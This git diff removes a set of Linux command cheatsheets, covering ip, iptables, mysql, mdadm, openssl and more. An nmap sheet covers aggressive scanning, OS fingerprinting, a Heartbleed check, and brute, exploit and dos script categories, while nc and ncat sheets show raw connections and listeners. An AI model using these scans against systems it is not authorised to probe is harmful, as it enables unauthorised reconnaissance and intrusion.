-# Take down / up the wireless adapter -ip link set dev wlan0 {up|down} - -# Set a static IP and netmask -ip addr add 192.168.1.100/32 dev eth0 - -# Remove a IP from an interface -ip addr del 192.168.1.100/32 dev eth0 - -# Remove all IPs from an interface -ip address flush dev eth0 - -# Display all routes -ip route - -# Display all routes for IPv6 -ip -6 route - -# Add default route via gateway IP -ip route add default via 192.168.1.1 - -# Add route via interface -ip route add 192.168.0.0/24 dev eth0 - -# Change your mac address -ip link set dev eth0 address aa:bb:cc:dd:ee:ff - -# View neighbors (using ARP and NDP) -ip neighbor show diff --git a/cheat/cheatsheets/iptables b/cheat/cheatsheets/iptables deleted file mode 100644 index 2e0a132..0000000 --- a/cheat/cheatsheets/iptables +++ /dev/null @@ -1,40 +0,0 @@ -# Show hit for rules with auto refresh -watch --interval 0 'iptables -nvL | grep -v "0 0"' - -# Show hit for rule with auto refresh and highlight any changes since the last refresh -watch -d -n 2 iptables -nvL - -# Block the port 902 and we hide this port from nmap. -iptables -A INPUT -i eth0 -p tcp --dport 902 -j REJECT --reject-with icmp-port-unreachable - -# Note, --reject-with accept: -# icmp-net-unreachable -# icmp-host-unreachable -# icmp-port-unreachable <- Hide a port to nmap -# icmp-proto-unreachable -# icmp-net-prohibited -# icmp-host-prohibited or -# icmp-admin-prohibited -# tcp-reset - -# Add a comment to a rule: -iptables ... -m comment --comment "This rule is here for this reason" - - -# To remove or insert a rule: -# 1) Show all rules -iptables -L INPUT --line-numbers -# OR iptables -nL --line-numbers - -# Chain INPUT (policy ACCEPT) -# num target prot opt source destination -# 1 ACCEPT udp -- anywhere anywhere udp dpt:domain -# 2 ACCEPT tcp -- anywhere anywhere tcp dpt:domain -# 3 ACCEPT udp -- anywhere anywhere udp dpt:bootps -# 4 ACCEPT tcp -- anywhere anywhere tcp dpt:bootps - -# 2.a) REMOVE (-D) a rule. (here an INPUT rule) -iptables -D INPUT 2 - -# 2.b) OR INSERT a rule. -iptables -I INPUT {LINE_NUMBER} -i eth1 -p tcp --dport 21 -s 123.123.123.123 -j ACCEPT -m comment --comment "This rule is here for this reason" diff --git a/cheat/cheatsheets/irssi b/cheat/cheatsheets/irssi deleted file mode 100644 index 171af8a..0000000 --- a/cheat/cheatsheets/irssi +++ /dev/null @@ -1,33 +0,0 @@ -# To connect to an IRC server -/connect - -# To join a channel -/join # - -# To set a nickname -/nick - -# To send a private message to a user -/msg - -# To close the current channel window -/wc - -# To switch between channel windows -ALT+, eg. ALT+1, ALT+2 - -# To list the nicknames within the active channel -/names - -# To change the channel topic -/topic - -# To limit channel background noise (joins, parts, quits, etc.) -/ignore #foo,#bar JOINS PARTS QUITS NICKS # Quieten only channels `#foo`, `#bar` -/ignore * JOINS PARTS QUITS NICKS # Quieten all channels - -# To save the current Irssi session config into the configuration file -/save - -# To quit Irssi -/exit diff --git a/cheat/cheatsheets/iwconfig b/cheat/cheatsheets/iwconfig deleted file mode 100644 index e8e4538..0000000 --- a/cheat/cheatsheets/iwconfig +++ /dev/null @@ -1,8 +0,0 @@ -# Display wireless settings of the first wireless adapter -iwconfig wlan0 - -# Take down / up the wireless adapter -iwconfig wlan0 txpower {on|auto|off} - -# Change the mode of the wireless adapter -iwconfig wlan0 mode {managed|ad-hoc|monitor} diff --git a/cheat/cheatsheets/journalctl b/cheat/cheatsheets/journalctl deleted file mode 100644 index 0a28bc4..0000000 --- a/cheat/cheatsheets/journalctl +++ /dev/null @@ -1,32 +0,0 @@ -# Actively follow log (like tail -f) -journalctl -f - -# Display all errors since last boot -journalctl -b -p err - -# Filter by time period -journalctl --since=2012-10-15 --until="2011-10-16 23:59:59" - -# Show list of systemd units logged in journal -journalctl -F _SYSTEMD_UNIT - -# Filter by specific unit -journalctl -u dbus - -# Filter by executable name -journalctl /usr/bin/dbus-daemon - -# Filter by PID -journalctl _PID=123 - -# Filter by Command, e.g., sshd -journalctl _COMM=sshd - -# Filter by Command and time period -journalctl _COMM=crond --since '10:00' --until '11:00' - -# List all available boots -journalctl --list-boots - -# Filter by specific User ID e.g., user id 1000 -journalctl _UID=1000 diff --git a/cheat/cheatsheets/jq b/cheat/cheatsheets/jq deleted file mode 100644 index d57cc13..0000000 --- a/cheat/cheatsheets/jq +++ /dev/null @@ -1,13 +0,0 @@ -# Pretty print the json -jq "." < filename.json - -# Access the value at key "foo" -jq '.foo' - -# Access first list item -jq '.[0]' - -# Slice & Dice -jq '.[2:4]' -jq '.[:3]' -jq '.[-2:]' diff --git a/cheat/cheatsheets/jrnl b/cheat/cheatsheets/jrnl deleted file mode 100644 index c3540e2..0000000 --- a/cheat/cheatsheets/jrnl +++ /dev/null @@ -1,25 +0,0 @@ -# Add entry to default jrnl (from your configured text editor) -jrnl - -# Add entry to default jrnl -jrnl Write entry here. - -# List of tags -jrnl --tags - -# Entries per tag -jrnl @tag - -# Export jrnl as json -jrnl --export json - -# Entries in a timeframe -jrnl -from 2009 -until may - -# Add Sublime text to .jrnl_config - -# Windows -"editor": "F:\\Powerpack\\Sublime\\sublime_text.exe -w" - -# Linux -"editor": "/usr/bin/sublime -w" diff --git a/cheat/cheatsheets/kill b/cheat/cheatsheets/kill deleted file mode 100644 index d80510e..0000000 --- a/cheat/cheatsheets/kill +++ /dev/null @@ -1,5 +0,0 @@ -# Kill a process gracefully -kill -15 - -# Kill a process forcefully -kill -9 diff --git a/cheat/cheatsheets/less b/cheat/cheatsheets/less deleted file mode 100644 index 55a7555..0000000 --- a/cheat/cheatsheets/less +++ /dev/null @@ -1,9 +0,0 @@ -# To disable the terminal refresh when exiting -less -X - -# To save the contents to a file -# Method 1 - Only works when the input is a pipe -s - -# Method 2 - This should work whether input is a pipe or an ordinary file. -Type g or < (g or less-than) | $ (pipe then dollar) then cat > and Enter. diff --git a/cheat/cheatsheets/lib b/cheat/cheatsheets/lib deleted file mode 100644 index 6854482..0000000 --- a/cheat/cheatsheets/lib +++ /dev/null @@ -1,23 +0,0 @@ -# Display available libraries -ldconfig -p - -# Update library resources -ldconfig - -# Display libraries and file location -ldd - -# Libraries available to apps in real-time -"Dynamic Libraries" (.so.) - -# Libraries only available to apps when installed (imported) -"Static Libraries" (.a.) - -# Standard (usual) library file location -/lib - -# Sofware-accessible source for library info -/etc/ld.so.cache # (binary) - -# Human-readable source for library info -/etc/ld.so.conf # (points to /etc/ld.so.conf.d) diff --git a/cheat/cheatsheets/ln b/cheat/cheatsheets/ln deleted file mode 100644 index 5a02f76..0000000 --- a/cheat/cheatsheets/ln +++ /dev/null @@ -1,5 +0,0 @@ -# To create a symlink: -ln -s path/to/the/target/directory name-of-symlink - -# Symlink, while overwriting existing destination files -ln -sf /some/dir/exec /usr/bin/exec diff --git a/cheat/cheatsheets/ls b/cheat/cheatsheets/ls deleted file mode 100644 index 41a116a..0000000 --- a/cheat/cheatsheets/ls +++ /dev/null @@ -1,17 +0,0 @@ -# Displays everything in the target directory -ls path/to/the/target/directory - -# Displays everything including hidden files -ls -a - -# Displays all files, along with the size (with unit suffixes) and timestamp -ls -lh - -# Display files, sorted by size -ls -S - -# Display directories only -ls -d */ - -# Display directories only, include hidden -ls -d .*/ */ diff --git a/cheat/cheatsheets/lsblk b/cheat/cheatsheets/lsblk deleted file mode 100644 index b40fe86..0000000 --- a/cheat/cheatsheets/lsblk +++ /dev/null @@ -1,21 +0,0 @@ -# Show all available block devices along with their partitioning schemes -lsblk - -# To show SCSI devices: -lsblk --scsi - -# To show a specific device -lsblk /dev/sda - -# To verify TRIM support: -# Check the values of DISC-GRAN (discard granularity) and DISC-MAX (discard max bytes) columns. -# Non-zero values indicate TRIM support -lsblk --discard - -# To featch info about filesystems: -lsblk --fs - -# For JSON, LIST or TREE output formats use the following flags: -lsblk --json -lsblk --list -lsblk --tree # default view diff --git a/cheat/cheatsheets/lsof b/cheat/cheatsheets/lsof deleted file mode 100644 index 8d11e3f..0000000 --- a/cheat/cheatsheets/lsof +++ /dev/null @@ -1,37 +0,0 @@ -# List all IPv4 network files -sudo lsof -i4 - -# List all IPv6 network files -sudo lsof -i6 - -# List all open sockets -lsof -i - -# List all listening ports -lsof -Pnl +M -i4 - -# Find which program is using the port 80 -lsof -i TCP:80 - -# List all connections to a specific host -lsof -i@192.168.1.5 - -# List all processes accessing a particular file/directory -lsof - -# List all files open for a particular user -lsof -u - -# List all files/network connections a command is using -lsof -c - -# List all files a process has open -lsof -p - -# List all files open mounted at /mount/point. -# Particularly useful for finding which process(es) are using a -# mounted USB stick or CD/DVD. -lsof +f -- - -# See this primer: http://www.danielmiessler.com/study/lsof/ -# for a number of other useful lsof tips diff --git a/cheat/cheatsheets/lvm b/cheat/cheatsheets/lvm deleted file mode 100644 index 492be2e..0000000 --- a/cheat/cheatsheets/lvm +++ /dev/null @@ -1,7 +0,0 @@ -#Exclusive Activation of a Volume Group in a Cluster -#Link --> https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/High_Availability_Add-On_Administration/s1-exclusiveactive-HAAA.html -1> vgs --noheadings -o vg_name -2> volume_list = [ "rhel_root", "rhel_home" ] -3> dracut -H -f /boot/initramfs-$(uname -r).img $(uname -r) -4> Reboot the node -5> uname -r to verify the correct initrd image diff --git a/cheat/cheatsheets/man b/cheat/cheatsheets/man deleted file mode 100644 index 6d95d0b..0000000 --- a/cheat/cheatsheets/man +++ /dev/null @@ -1,5 +0,0 @@ -# Convert a man page to pdf -man -t bash | ps2pdf - bash.pdf - -# View the ascii chart -man 7 ascii diff --git a/cheat/cheatsheets/markdown b/cheat/cheatsheets/markdown deleted file mode 100644 index 7f178e3..0000000 --- a/cheat/cheatsheets/markdown +++ /dev/null @@ -1,44 +0,0 @@ -# headers -h1 header -========= -h2 header ---------- - -# blockquotes -> first level and paragraph ->> second level and first paragraph -> -> first level and second paragraph - -# lists -## unordered - use *, +, or - - * Red - * Green - * Blue - -## ordered - 1. First - 2. Second - 3. Third - -# code - use 4 spaces/1 tab -regular text - code code code -or: -Use the `printf()` function - -# hr's - three or more of the following -*** ---- -___ - -# links -This is [an example](http://example.com "Title") inline link. - -# image -![Alt Text](/path/to/file.png) - -# formatting -*em* _em_ -**strong** __strong__ -~~strikethrough~~ diff --git a/cheat/cheatsheets/mdadm b/cheat/cheatsheets/mdadm deleted file mode 100644 index afdd4cf..0000000 --- a/cheat/cheatsheets/mdadm +++ /dev/null @@ -1,58 +0,0 @@ -# For the sake of briefness, we use Bash "group compound" stanza: -# /dev/sd{a,b,...}1 => /dev/sda1 /dev/sdb1 ... -# Along the following variables: -# ${M} array identifier (/dev/md${M}) -# ${D} device identifier (/dev/sd${D}) -# ${P} partition identifier (/dev/sd${D}${P}) - -# Create (initialize) a new array -mdadm --create /dev/md${M} --level=raid5 --raid-devices=4 /dev/sd{a,b,c,d,e}${P} --spare-devices=/dev/sdf1 - -# Manually assemble (activate) an existing array -mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} - -# Automatically assemble (activate) all existing arrays -mdadm --assemble --scan - -# Stop an assembled (active) array -mdadm --stop /dev/md${M} - -# See array configuration -mdadm --query /dev/md${M} - -# See array component configuration (dump superblock content) -mdadm --query --examine /dev/sd${D}${P} - -# See detailed array confiration/status -mdadm --detail /dev/md${M} - -# Save existing arrays configuration -# (MAY be required by initrd for successfull boot) -mdadm --detail --scan > /etc/mdadm/mdadm.conf - -# Erase array component superblock -# (MUST do before reusing a partition for other purposes) -mdadm --zero-superblock /dev/sd${D}${P} - -# Manually mark a component as failed -# (SHOULD when a device shows wear-and-tear signs, e.g. through SMART) -mdadm --manage /dev/md${M} --fail /dev/sd${D}${P} - -# Remove a failed component -# (SHOULD before preemptively replacing a device, after failing it) -mdadm --manage /dev/md${M} --remove /dev/sd${D}${P} - -# Prepare (format) a new device to replace a failed one -sfdisk -d /dev/sd${D,sane} | sfdisk /dev/sd${D,new} - -# Add new component to an existing array -# (this will trigger the rebuild) -mdadm --manage /dev/md${M} --add /dev/sd${D,new}${P} - -# See assembled (active) arrays status -cat /proc/mdstat - -# Rename a device -# (SHOULD after hostname change; eg. name="$(hostname -s)") -mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} --name="${name}:${M}" --update=name - diff --git a/cheat/cheatsheets/mkdir b/cheat/cheatsheets/mkdir deleted file mode 100644 index e41d613..0000000 --- a/cheat/cheatsheets/mkdir +++ /dev/null @@ -1,9 +0,0 @@ -# Create a directory and all its parents -mkdir -p foo/bar/baz - -# Create foo/bar and foo/baz directories -mkdir -p foo/{bar,baz} - -# Create the foo/bar, foo/baz, foo/baz/zip and foo/baz/zap directories -mkdir -p foo/{bar,baz/{zip,zap}} - diff --git a/cheat/cheatsheets/more b/cheat/cheatsheets/more deleted file mode 100644 index c1ee9d9..0000000 --- a/cheat/cheatsheets/more +++ /dev/null @@ -1,3 +0,0 @@ -# To show the file start at line number 5 -more +5 file - diff --git a/cheat/cheatsheets/mount b/cheat/cheatsheets/mount deleted file mode 100644 index 66a8e17..0000000 --- a/cheat/cheatsheets/mount +++ /dev/null @@ -1,14 +0,0 @@ -# To mount / partition as read-write in repair mode: -mount -o remount,rw / - -# Bind mount path to a second location -mount --bind /origin/path /destination/path - -# To mount Usb disk as user writable: -mount -o uid=username,gid=usergroup /dev/sdx /mnt/xxx - -# To mount a remote NFS directory -mount -t nfs example.com:/remote/example/dir /local/example/dir - -# To mount an ISO -mount -o loop disk1.iso /mnt/disk diff --git a/cheat/cheatsheets/mutt b/cheat/cheatsheets/mutt deleted file mode 100644 index 9b8b8a8..0000000 --- a/cheat/cheatsheets/mutt +++ /dev/null @@ -1,22 +0,0 @@ -# Create new mailbox in IMAP - + When located in mailbox list (c) - shift + C - -# Move multiple messages to folder (bulk operations) - - 1. Select/tag them with alt+'t' - 2. ;s in mail inbox overview for bulk operation - -# Deleting / Undeleting all messages in mutt - - 1. In mutt’s index, hit ‘D’ (UPPERCASE D) - 2. It will prompt you with “Delete messages matching: “ - - + enter this string: - - ~A - - 3. It should mark all for deletion! - - - 4. Conversely, you can do the same thing with UPPERCASE U to undelete multiple messages. diff --git a/cheat/cheatsheets/mv b/cheat/cheatsheets/mv deleted file mode 100644 index 5a79545..0000000 --- a/cheat/cheatsheets/mv +++ /dev/null @@ -1,17 +0,0 @@ -# Move a file from one place to another -mv ~/Desktop/foo.txt ~/Documents/foo.txt - -# Move a file from one place to another and automatically overwrite if the destination file exists -# (This will override any previous -i or -n args) -mv -f ~/Desktop/foo.txt ~/Documents/foo.txt - -# Move a file from one place to another but ask before overwriting an existing file -# (This will override any previous -f or -n args) -mv -i ~/Desktop/foo.txt ~/Documents/foo.txt - -# Move a file from one place to another but never overwrite anything -# (This will override any previous -f or -i args) -mv -n ~/Desktop/foo.txt ~/Documents/foo.txt - -# Move listed files to a directory -mv -t ~/Desktop/ file1 file2 file3 diff --git a/cheat/cheatsheets/mysql b/cheat/cheatsheets/mysql deleted file mode 100644 index 3ef2a2c..0000000 --- a/cheat/cheatsheets/mysql +++ /dev/null @@ -1,37 +0,0 @@ -# To connect to a database -mysql -h localhost -u root -p - -# To backup all databases -mysqldump --all-databases --all-routines -u root -p > ~/fulldump.sql - -# To restore all databases -mysql -u root -p < ~/fulldump.sql - -# To create a database in utf8 charset -CREATE DATABASE owa CHARACTER SET utf8 COLLATE utf8_general_ci; - -# To add a user and give rights on the given database -GRANT ALL PRIVILEGES ON database.* TO 'user'@'localhost'IDENTIFIED BY 'password' WITH GRANT OPTION; - -# To list the privileges granted to the account that you are using to connect to the server. Any of the 3 statements will work. -SHOW GRANTS FOR CURRENT_USER(); -SHOW GRANTS; -SHOW GRANTS FOR CURRENT_USER; - -# Basic SELECT Statement -SELECT * FROM tbl_name; - -# Basic INSERT Statement -INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2); - -# Basic UPDATE Statement -UPDATE tbl_name SET col1 = "example"; - -# Basic DELETE Statement -DELETE FROM tbl_name WHERE user = 'jcole'; - -# To check stored procedure -SHOW PROCEDURE STATUS; - -# To check stored function -SHOW FUNCTION STATUS; diff --git a/cheat/cheatsheets/mysqldump b/cheat/cheatsheets/mysqldump deleted file mode 100644 index 61c809c..0000000 --- a/cheat/cheatsheets/mysqldump +++ /dev/null @@ -1,23 +0,0 @@ -# To dump a database to a file (Note that your password will appear in your command history!): -mysqldump -uusername -ppassword the-database > db.sql - -# To dump a database to a file: -mysqldump -uusername -p the-database > db.sql - -# To dump a database to a .tgz file (Note that your password will appear in your command history!): -mysqldump -uusername -ppassword the-database | gzip -9 > db.sql - -# To dump a database to a .tgz file: -mysqldump -uusername -p the-database | gzip -9 > db.sql - -# To dump all databases to a file (Note that your password will appear in your command history!): -mysqldump -uusername -ppassword --all-databases > all-databases.sql - -# To dump all databases to a file: -mysqldump -uusername -p --all-databases > all-databases.sql - -# To export the database structure only: -mysqldump --no-data -uusername -p the-database > dump_file - -# To export the database data only: -mysqldump --no-create-info -uusername -p the-database > dump_file diff --git a/cheat/cheatsheets/nc b/cheat/cheatsheets/nc deleted file mode 100644 index 8dc9b53..0000000 --- a/cheat/cheatsheets/nc +++ /dev/null @@ -1,20 +0,0 @@ -# To open a TCP connection to port 42 of host.example.com, using port 31337 as the source port, with a timeout of 5 seconds: -nc -p 31337 -w 5 host.example.com 42 - -# To open a UDP connection to port 53 of host.example.com: -nc -u host.example.com 53 - -# To open a TCP connection to port 42 of host.example.com using 10.1.2.3 as the IP for the local end of the connection: -nc -s 10.1.2.3 host.example.com 42 - -# To create and listen on a UNIX-domain stream socket: -nc -lU /var/tmp/dsocket - -# To connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4, port 8080. This example could also be used by ssh(1); see the ProxyCommand directive in ssh_config(5) for more information. -nc -x10.2.3.4:8080 -Xconnect host.example.com 42 - -# The same example again, this time enabling proxy authentication with username "ruser" if the proxy requires it: -nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42 - -# To choose the source IP for the testing using the -s option -nc -zv -s source_IP target_IP Port diff --git a/cheat/cheatsheets/ncat b/cheat/cheatsheets/ncat deleted file mode 100644 index cde25ba..0000000 --- a/cheat/cheatsheets/ncat +++ /dev/null @@ -1,30 +0,0 @@ -# Connect mode (ncat is client) | default port is 31337 -ncat [] - -# Listen mode (ncat is server) | default port is 31337 -ncat -l [] [] - -# Transfer file (closes after one transfer) -ncat -l [] [] < file - -# Transfer file (stays open for multiple transfers) -ncat -l --keep-open [] [] < file - -# Receive file -ncat [] [] > file - -# Brokering | allows for multiple clients to connect -ncat -l --broker [] [] - -# Listen with SSL | many options, use ncat --help for full list -ncat -l --ssl [] [] - -# Access control -ncat -l --allow -ncat -l --deny - -# Proxying -ncat --proxy [:] --proxy-type {http | socks4} [] - -# Chat server | can use brokering for multi-user chat -ncat -l --chat [] [] diff --git a/cheat/cheatsheets/ncdu b/cheat/cheatsheets/ncdu deleted file mode 100644 index 13e586c..0000000 --- a/cheat/cheatsheets/ncdu +++ /dev/null @@ -1,11 +0,0 @@ -# Save results to file -ncdu -o ncdu.file - -# Read from file -ncdu -f ncdu.file - -# Save results to compressed file -ncdu -o-| gzip > ncdu.file.gz - -# Read from compressed file -zcat ncdu.file.gz | ncdu -f- diff --git a/cheat/cheatsheets/netstat b/cheat/cheatsheets/netstat deleted file mode 100644 index e488dcf..0000000 --- a/cheat/cheatsheets/netstat +++ /dev/null @@ -1,28 +0,0 @@ -# WARNING ! netstat is deprecated. Look below. - -# To view which users/processes are listening to which ports: -sudo netstat -lnptu - -# To view routing table (use -n flag to disable DNS lookups): -netstat -r - -# Which process is listening to port -netstat -pln | grep | awk '{print $NF}' - -Example output: 1507/python - -# Fast display of ipv4 tcp listening programs -sudo netstat -vtlnp --listening -4 - -# WARNING ! netstat is deprecated. -# Replace it by: -ss - -# For netstat -r -ip route - -# For netstat -i -ip -s link - -# For netstat -g -ip maddr diff --git a/cheat/cheatsheets/nkf b/cheat/cheatsheets/nkf deleted file mode 100644 index d40c42d..0000000 --- a/cheat/cheatsheets/nkf +++ /dev/null @@ -1,29 +0,0 @@ -# check the file's charactor code -nkf -g test.txt - -# convert charactor code to UTF-8 -nkf -w --overwrite test.txt - -# convert charactor code to EUC-JP -nkf -e --overwrite test.txt - -# convert charactor code to Shift-JIS -nkf -s --overwrite test.txt - -# convert charactor code to ISO-2022-JP -nkf -j --overwrite test.txt - -# convert newline to LF -nkf -Lu --overwrite test.txt - -# convert newline to CRLF -nkf -Lw --overwrite test.txt - -# convert newline to CR -nkf -Lm --overwrite test.txt - -# MIME encode -echo テスト | nkf -WwMQ - -# MIME decode -echo "=E3=83=86=E3=82=B9=E3=83=88" | nkf -WwmQ diff --git a/cheat/cheatsheets/nmap b/cheat/cheatsheets/nmap deleted file mode 100644 index 0232bf1..0000000 --- a/cheat/cheatsheets/nmap +++ /dev/null @@ -1,104 +0,0 @@ -# Single target scan: -nmap [target] - -# Scan from a list of targets: -nmap -iL [list.txt] - -# iPv6: -nmap -6 [target] - -# OS detection: -nmap -O --osscan_guess [target] - -# Save output to text file: -nmap -oN [output.txt] [target] - -# Save output to xml file: -nmap -oX [output.xml] [target] - -# Scan a specific port: -nmap -source-port [port] [target] - -# Do an aggressive scan: -nmap -A [target] - -# Speedup your scan: -# -n => disable ReverseDNS -# --min-rate=X => min X packets / sec -nmap -T5 --min-parallelism=50 -n --min-rate=300 [target] - -# Traceroute: -nmap -traceroute [target] - -# Ping scan only: -sP -# Don't ping: -PN <- Use full if a host don't reply to a ping. -# TCP SYN ping: -PS -# TCP ACK ping: -PA -# UDP ping: -PU -# ARP ping: -PR - -# Example: Ping scan all machines on a class C network -nmap -sP 192.168.0.0/24 - -# Force TCP scan: -sT -# Force UDP scan: -sU - -# Use some script: -nmap --script default,safe - -# Loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts. -nmap --script default,banner,/home/user/customscripts - -# Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy. -nmap --script 'http-*' - -# Loads every script except for those in the intrusive category. -nmap --script "not intrusive" - -# Loads those scripts that are in both the default and safe categories. -nmap --script "default and safe" - -# Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-. -nmap --script "(default or safe or intrusive) and not http-*" - -# Scan for the heartbleed -# -pT:443 => Scan only port 443 with TCP (T:) -nmap -T5 --min-parallelism=50 -n --script "ssl-heartbleed" -pT:443 127.0.0.1 - -# Show all informations (debug mode) -nmap -d ... - -## Port Status Information -- Open: This indicates that an application is listening for connections on this port. -- Closed: This indicates that the probes were received but there is no application listening on this port. -- Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering. -- Unfiltered: This indicates that the probes were received but a state could not be established. -- Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state. -- Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state. - -## Additional Scan Types - -nmap -sn: Probe only (host discovery, not port scan) -nmap -sS: SYN Scan -nmap -sT: TCP Connect Scan -nmap -sU: UDP Scan -nmap -sV: Version Scan -nmap -O: Used for OS Detection/fingerprinting -nmap --scanflags: Sets custom list of TCP using `URG ACK PSH RST SYN FIN` in any order - -### Nmap Scripting Engine Categories -The most common Nmap scripting engine categories: -- auth: Utilize credentials or bypass authentication on target hosts. -- broadcast: Discover hosts not included on command line by broadcasting on local network. -- brute: Attempt to guess passwords on target systems, for a variety of protocols, including http, SNMP, IAX, MySQL, VNC, etc. -- default: Scripts run automatically when -sC or -A are used. -- discovery: Try to learn more information about target hosts through public sources of information, SNMP, directory services, and more. -- dos: May cause denial of service conditions in target hosts. -- exploit: Attempt to exploit target systems. -- external: Interact with third-party systems not included in target list. -- fuzzer: Send unexpected input in network protocol fields. -- intrusive: May crash target, consume excessive resources, or otherwise impact target machines in a malicious fashion. -- malware: Look for signs of malware infection on the target hosts. -- safe: Designed not to impact target in a negative fashion. -- version: Measure the version of software or protocols on the target hosts. -- vul: Measure whether target systems have a known vulnerability. diff --git a/cheat/cheatsheets/nmcli b/cheat/cheatsheets/nmcli deleted file mode 100644 index 9fd94ce..0000000 --- a/cheat/cheatsheets/nmcli +++ /dev/null @@ -1,43 +0,0 @@ -# Desc: Command line interface to NetworkManager - -# Connect to a wireless access point - Parameters: -# -- the name of your wireless interface -# -- the SSID of the access point -# -- the WiFi password -nmcli d wifi connect password iface - -# Disconnect from WiFi - Parameters: -# -- the name of your wireless interface -nmcli d wifi disconnect iface - -# Get WiFi status (enabled / disabled) -nmcli radio wifi - -# Enable / Disable WiFi -nmcli radio wifi - -# Show all available WiFi access points -nmcli dev wifi list - -# Refresh the available WiFi connection list -nmcli dev wifi rescan - -# Show all available connections -nmcli con - -# Show only active connections -nmcli con show --active - -# Review the available devices -nmcli dev status - -# Add a dynamic ethernet connection - parameters: -# -- the name of the connection -# -- the name of the interface -nmcli con add type ethernet con-name ifname - -# Import OpenVPN connection settings from file: -nmcli con import type openvpn file - -# Bring up the ethernet connection -nmcli con up diff --git a/cheat/cheatsheets/notify-send b/cheat/cheatsheets/notify-send deleted file mode 100644 index 6516064..0000000 --- a/cheat/cheatsheets/notify-send +++ /dev/null @@ -1,4 +0,0 @@ -# To send a desktop notification via dbus: -notify-send -i 'icon-file/name' -a 'application_name' 'summary' 'body of message' - -# The -i and -a flags can be omitted if unneeded. diff --git a/cheat/cheatsheets/nova b/cheat/cheatsheets/nova deleted file mode 100644 index 94720d8..0000000 --- a/cheat/cheatsheets/nova +++ /dev/null @@ -1,20 +0,0 @@ -# To list VMs on current tenant: -nova list - -# To list VMs of all tenants (admin user only): -nova list --all-tenants - -# To boot a VM on a specific host: -nova boot --nic net-id= \ - --image \ - --flavor \ - --availability-zone nova: - -# To stop a server -nova stop - -# To start a server -nova start - -# To attach a network interface to a specific VM: -nova interface-attach --net-id diff --git a/cheat/cheatsheets/npm b/cheat/cheatsheets/npm deleted file mode 100644 index ba85087..0000000 --- a/cheat/cheatsheets/npm +++ /dev/null @@ -1,22 +0,0 @@ -# Every command shown here can be used with the `-g` switch for global scope - -# Install a package in the current directory -npm install - -# Install a package, and save it in the `dependencies` section of `package.json` -npm install --save - -# Install a package, and save it in the `devDependencies` section of `package.json` -npm install --save-dev - -# Show outdated packages in the current directory -npm outdated - -# Update outdated packages -npm update - -# Update `npm` (will override the one shipped with Node.js) -npm install -g npm - -# Uninstall a package -npm uninstall diff --git a/cheat/cheatsheets/ntp b/cheat/cheatsheets/ntp deleted file mode 100644 index f578c54..0000000 --- a/cheat/cheatsheets/ntp +++ /dev/null @@ -1,33 +0,0 @@ -# Verify ntpd running: -service ntp status - -# Start ntpd if not running: -service ntp start - -# Display current hardware clock value: -sudo hwclock -r - -# Apply system time to hardware time: -sudo hwclock --systohc - -# Apply hardware time to system time: -sudo hwclock --hctosys - -# Set hwclock to local time: -sudo hwclock --localtime - -# Set hwclock to UTC: -sudo hwclock --utc - -# Set hwclock manually: -sudo hwclock --set --date="8/10/15 13:10:05" - -# Query surrounding stratum time servers -ntpq -pn - -# Config file: -/etc/ntp.conf - -# Driftfile: -location of "drift" of your system clock compared to ntp servers -/var/lib/ntp/ntp.drift diff --git a/cheat/cheatsheets/numfmt b/cheat/cheatsheets/numfmt deleted file mode 100644 index 0b9bbc4..0000000 --- a/cheat/cheatsheets/numfmt +++ /dev/null @@ -1,2 +0,0 @@ -# Convert bytes to Human readable format -numfmt --to=iec --suffix=B --padding=7 1048576 diff --git a/cheat/cheatsheets/od b/cheat/cheatsheets/od deleted file mode 100644 index 55fd304..0000000 --- a/cheat/cheatsheets/od +++ /dev/null @@ -1,11 +0,0 @@ -# Dump file in octal format -od /path/to/binaryfile -od -o /path/to/binaryfile -od -t o2 /path/to/binaryfile - -# Dump file in hexadecimal format -od -x /path/to/binaryfile -od -t x2 /path/to/binaryfile - -# Dump file in hexadecimal format, with hexadecimal offsets and a space between each byte -od -A x -t x1 /path/to/binaryfile diff --git a/cheat/cheatsheets/openssl b/cheat/cheatsheets/openssl deleted file mode 100644 index 3d97e5b..0000000 --- a/cheat/cheatsheets/openssl +++ /dev/null @@ -1,27 +0,0 @@ -# To create a 2048-bit private key: -openssl genrsa -out server.key 2048 - -# To create the Certificate Signing Request (CSR): -openssl req -new -key server.key -out server.csr - -# To sign a certificate using a private key and CSR: -openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt - -# (The above commands may be run in sequence to generate a self-signed SSL certificate.) - -# To show certificate information for a certificate signing request -openssl req -text -noout -in server.csr - -# To show certificate information for generated certificate -openssl x509 -text -noout -in server.crt - -# To get the sha256 fingerprint of a certificate -openssl x509 -in server.crt -noout -sha256 -fingerprint - -# To view certificate expiration: -echo | openssl s_client -connect :443 2> /dev/null | \ -awk '/-----BEGIN/,/END CERTIFICATE-----/' | \ -openssl x509 -noout -enddate - -# Generate Diffie-Hellman parameters: -openssl dhparam -outform PEM -out dhparams.pem 2048 diff --git a/cheat/cheatsheets/org-mode b/cheat/cheatsheets/org-mode deleted file mode 100644 index 785cdb8..0000000 --- a/cheat/cheatsheets/org-mode +++ /dev/null @@ -1,46 +0,0 @@ - Begin org-mode ALT-x org-mode - Save CTRL-x CTRL-s - Export in other file formats (eg HTML,PDF) CTRL-c CTRL-e - -# Outline - - Section heading * - New headline ALT-return - Move headline up or down ALT-up_arrow/down_arrow - Adjust indent depth of headline ALT-left_arrow/right_arrow - Open/collapse section TAB - Open/collapse All CTRL-TAB - -# To-Do Lists - - Mark list item as TODO ** TODO - Cycle through workflow SHIFT-left_arrow/right_arrow - Show only outstanding TODO items CTRL-c CTRL-v - -# Tables - - Table column separator Vertical/pipe character - Reorganize table TAB - Move column ALT-left_arrow/right_arrow - Move row ALT-up_arrow/down_arrow - -# Styles - - *bold* - /italic/ - _underlined_ - =code= - ~verbatim~ - +strike-through+ - -# Heading - - Header -*- mode: org 